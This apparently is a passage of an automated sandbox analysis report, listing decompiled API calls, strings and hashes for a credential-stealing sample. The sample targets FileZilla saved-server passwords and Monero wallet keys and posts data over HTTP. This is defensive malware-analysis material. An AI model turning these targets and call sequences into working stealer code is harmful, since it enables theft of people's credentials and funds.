Part of subcall function 00129A10: LocalAlloc.KERNEL32(00000040,?), ref: 00129A81
Part of subcall function 00129A10: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129AAA
Part of subcall function 00129A10: LocalFree.KERNEL32(0012148F), ref: 00129AE0
Part of subcall function 00129A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00129AEA

Part of subcall function 001388D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001388F2

GetProcessHeap.KERNEL32(00000000,000F423F,00140DA6,00140DA3,00140DA2,00140D9F), ref: 001301A2
RtlAllocateHeap.NTDLL(00000000), ref: 001301A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 001301C5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 001301D3
StrStrA.SHLWAPI(00000000,<Port>), ref: 0013020F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 0013021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00130259
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 00130267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 001302A3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 001302B5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 00130342
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 0013035A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 00130372
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 0013038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 001303A2
lstrcat.KERNEL32(?,profile: null), ref: 001303B1
lstrcat.KERNEL32(?,url: ), ref: 001303C0
lstrcat.KERNEL32(?,00000000), ref: 001303D3
lstrcat.KERNEL32(?,0014161C), ref: 001303E2
lstrcat.KERNEL32(?,00000000), ref: 001303F5
lstrcat.KERNEL32(?,00141620), ref: 00130404
lstrcat.KERNEL32(?,login: ), ref: 00130413
lstrcat.KERNEL32(?,00000000), ref: 00130426
lstrcat.KERNEL32(?,0014162C), ref: 00130435
lstrcat.KERNEL32(?,password: ), ref: 00130444
lstrcat.KERNEL32(?,00000000), ref: 00130457
lstrcat.KERNEL32(?,0014163C), ref: 00130466
lstrcat.KERNEL32(?,00141640), ref: 00130475
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00140D9E), ref: 001304CE

Strings

profile: null, xrefs: 001303A8
login: , xrefs: 0013040A
<Pass encoding="base64">, xrefs: 0013029A
<User>, xrefs: 00130250
browser: FileZilla, xrefs: 00130399
password: , xrefs: 0013043B
<Host>, xrefs: 001301BC
url: , xrefs: 001303B7
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001300E4
<Port>, xrefs: 00130206

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateChangeCloseCreateFindFolderFreeNotificationPathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2695953057-555421843
Opcode ID: cd3d375c672df965447720c813ec5b2526880642096c33c1a23d4931b513980f
Instruction ID: fe91b947c054db3695adb6ffdc4d70534dab27f091aca24576e432583cf3192e
Opcode Fuzzy Hash: cd3d375c672df965447720c813ec5b2526880642096c33c1a23d4931b513980f
Instruction Fuzzy Hash: AFD12E75910208ABCB05EBF4DC56EEE773CAF68300F808518F542A7195EF74BA49CB61

Function 00125150 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0012483B
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124852
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124868
Part of subcall function 00124800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124889
Part of subcall function 00124800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124899

lstrlen.KERNEL32(00000000), ref: 001251E3

Part of subcall function 00138940: CryptBinaryToStringA.CRYPT32(00000000,001251D4,40000001,00000000,00000000), ref: 00138960

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00125257
StrCmpCA.SHLWAPI(?,011FEAA8), ref: 00125275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00125390
HttpOpenRequestA.WININET(00000000,011FEAB8,?,011FE438,00000000,00000000,00400100,00000000), ref: 001253F4

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,011FEAC8,00000000,?,011FA790,00000000,?,00141980,00000000,?,00134CAF), ref: 00125787
lstrlen.KERNEL32(00000000), ref: 0012579B
GetProcessHeap.KERNEL32(00000000,?), ref: 001257AC
RtlAllocateHeap.NTDLL(00000000), ref: 001257B3
lstrlen.KERNEL32(00000000), ref: 001257C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001257F9
lstrlen.KERNEL32(00000000), ref: 00125818
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00125831
lstrlen.KERNEL32(00000000,?,?), ref: 0012585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00125872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0012589D
InternetCloseHandle.WININET(00000000), ref: 00125901
InternetCloseHandle.WININET(00000000), ref: 0012590E
InternetCloseHandle.WININET(00000000), ref: 00125918

Strings

", xrefs: 00125756
", xrefs: 00125614
------, xrefs: 00125407
------, xrefs: 0012568B
", xrefs: 001254D2
--, xrefs: 001252D0
------, xrefs: 00125549
------, xrefs: 001252E7

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 82d2f6233e8abdcc40769193e618127975c933a81374188b9e25d32a4aed7c69
Instruction ID: 8cf3ca525e08e69c759d06d7099e41ba167de04a9bca966b3b1a00a5f46de763
Opcode Fuzzy Hash: 82d2f6233e8abdcc40769193e618127975c933a81374188b9e25d32a4aed7c69
Instruction Fuzzy Hash: 90320D72920118ABDB15EBA0DC95FEEB77CBF64700F804199F14666092EF716B48CFA1

Function 001259B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0012483B
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124852
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124868
Part of subcall function 00124800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124889
Part of subcall function 00124800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124899

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00125A48
StrCmpCA.SHLWAPI(?,011FEAA8), ref: 00125A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00125BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,011FE9D8,00000000,?,011FA790,00000000,?,001419C0), ref: 00125EC1
lstrlen.KERNEL32(00000000), ref: 00125ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00125EE3
RtlAllocateHeap.NTDLL(00000000), ref: 00125EEA
lstrlen.KERNEL32(00000000), ref: 00125EFF
lstrlen.KERNEL32(00000000), ref: 00125F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00125F41
lstrlen.KERNEL32(00000000,?,?), ref: 00125F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00125F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00125F9C
InternetCloseHandle.WININET(00000000), ref: 00126000
InternetCloseHandle.WININET(00000000), ref: 0012600D
HttpOpenRequestA.WININET(00000000,011FEAB8,?,011FE438,00000000,00000000,00400100,00000000), ref: 00125C48

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

InternetCloseHandle.WININET(00000000), ref: 00126017

Strings

", xrefs: 00125D25
------, xrefs: 00125AE6
------, xrefs: 00125D9C
------, xrefs: 00125C5B
", xrefs: 00125E66

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: e0d05c91cbeda5856d59ed1ef7869915e96dc594c1a57533dfb39786b27a2284
Instruction ID: d9b652eb626062dac1a9d78c997b390896b7701e9d7c93617d605826d5d0bc8b
Opcode Fuzzy Hash: e0d05c91cbeda5856d59ed1ef7869915e96dc594c1a57533dfb39786b27a2284
Instruction Fuzzy Hash: D912EC71820118AACB15FBA0DC95FEEB37CBF24700F804199F54666092EF716B49CFA5

Function 0012A6C0 Relevance: 30.5, APIs: 20, Instructions: 495
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A440: StrCmpCA.SHLWAPI(011F91D0,0012A6D7,?,0012A6D7,011F91D0), ref: 0013A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0012A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0012A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0012A7DA

Part of subcall function 0013A1F0: lstrlen.KERNEL32(00124F55,?,?,00124F55,00140DC6), ref: 0013A1FB
Part of subcall function 0013A1F0: lstrcpy.KERNEL32(00140DC6,00000000), ref: 0013A255

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

lstrcat.KERNEL32(?,00000000), ref: 0012AB3A
lstrcat.KERNEL32(?,001412C4), ref: 0012AB49
lstrcat.KERNEL32(?,00000000), ref: 0012AB5C
lstrcat.KERNEL32(?,001412C8), ref: 0012AB6B
lstrcat.KERNEL32(?,00000000), ref: 0012AB7E
lstrcat.KERNEL32(?,001412CC), ref: 0012AB8D
lstrcat.KERNEL32(?,00000000), ref: 0012ABA0
lstrcat.KERNEL32(?,001412D0), ref: 0012ABAF
lstrcat.KERNEL32(?,00000000), ref: 0012ABC2
lstrcat.KERNEL32(?,001412D4), ref: 0012ABD1
lstrcat.KERNEL32(?,00000000), ref: 0012ABE4
lstrcat.KERNEL32(?,001412D8), ref: 0012ABF3

Part of subcall function 00129E60: LocalAlloc.KERNEL32(00000040,?), ref: 00129EFE

lstrcat.KERNEL32(?,00000000), ref: 0012AC3C
lstrcat.KERNEL32(?,001412DC), ref: 0012AC56
lstrlen.KERNEL32(?), ref: 0012AC95
lstrlen.KERNEL32(?), ref: 0012ACA4

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

DeleteFileA.KERNEL32(00000000), ref: 0012AD1F

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeap$AllocAllocateCopyDeleteLocalProcess
String ID:
API String ID: 1656385275-0
Opcode ID: d07f1deaff7a49842979ed3272e1dd6df8cbcf7de696603255087898a5210485
Instruction ID: f0a84aee82bcac6344db805be360cadc0eec9c3d0e6a6a2e8caecb8b2dbd44dd
Opcode Fuzzy Hash: d07f1deaff7a49842979ed3272e1dd6df8cbcf7de696603255087898a5210485
Instruction Fuzzy Hash: 40021D75910108ABCB09EBA0DC96EEE773CBF64301F904159F546A70A1EF71BA58CB62

Function 0012CD30 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 00138600: GetSystemTime.KERNEL32(00140E02,011FA5E0,0014059E,?,?,001213F9,?,0000001A,00140E02,00000000,?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 00138626

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0012CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0012CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0012CF0E
lstrcat.KERNEL32(?,00000000), ref: 0012D048
lstrcat.KERNEL32(?,0014141C), ref: 0012D057
lstrcat.KERNEL32(?,00000000), ref: 0012D06A
lstrcat.KERNEL32(?,00141420), ref: 0012D079
lstrcat.KERNEL32(?,00000000), ref: 0012D08C
lstrcat.KERNEL32(?,00141424), ref: 0012D09B
lstrcat.KERNEL32(?,00000000), ref: 0012D0AE
lstrcat.KERNEL32(?,00141428), ref: 0012D0BD
lstrcat.KERNEL32(?,00000000), ref: 0012D0D0
lstrcat.KERNEL32(?,0014142C), ref: 0012D0DF
lstrcat.KERNEL32(?,00000000), ref: 0012D0F2
lstrcat.KERNEL32(?,00141430), ref: 0012D101
lstrcat.KERNEL32(?,00000000), ref: 0012D114
lstrcat.KERNEL32(?,00141434), ref: 0012D123

Part of subcall function 0013A1F0: lstrlen.KERNEL32(00124F55,?,?,00124F55,00140DC6), ref: 0013A1FB
Part of subcall function 0013A1F0: lstrcpy.KERNEL32(00140DC6,00000000), ref: 0013A255

lstrlen.KERNEL32(?), ref: 0012D16A
lstrlen.KERNEL32(?), ref: 0012D179

Part of subcall function 0013A440: StrCmpCA.SHLWAPI(011F91D0,0012A6D7,?,0012A6D7,011F91D0), ref: 0013A45F

DeleteFileA.KERNEL32(00000000), ref: 0012D1F4

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 486528fc668afa97453cbc04ed2c1624c3a1a3b273313abb01acccd20d9e2f08
Instruction ID: 3a029b029b9dd82bb8a469c187e2e9e35a859ec19cef5868b4ad97b8e93a10ae
Opcode Fuzzy Hash: 486528fc668afa97453cbc04ed2c1624c3a1a3b273313abb01acccd20d9e2f08
Instruction Fuzzy Hash: 48E11B75910108ABCB05FBA0DD96EEE773CAF64301F904158F546A70A2EF71BE48CB66

Function 001248D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A170: lstrcpy.KERNEL32(?,00000000), ref: 0013A1B6

Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0012483B
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124852
Part of subcall function 00124800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00124868
Part of subcall function 00124800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124889
Part of subcall function 00124800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00124899

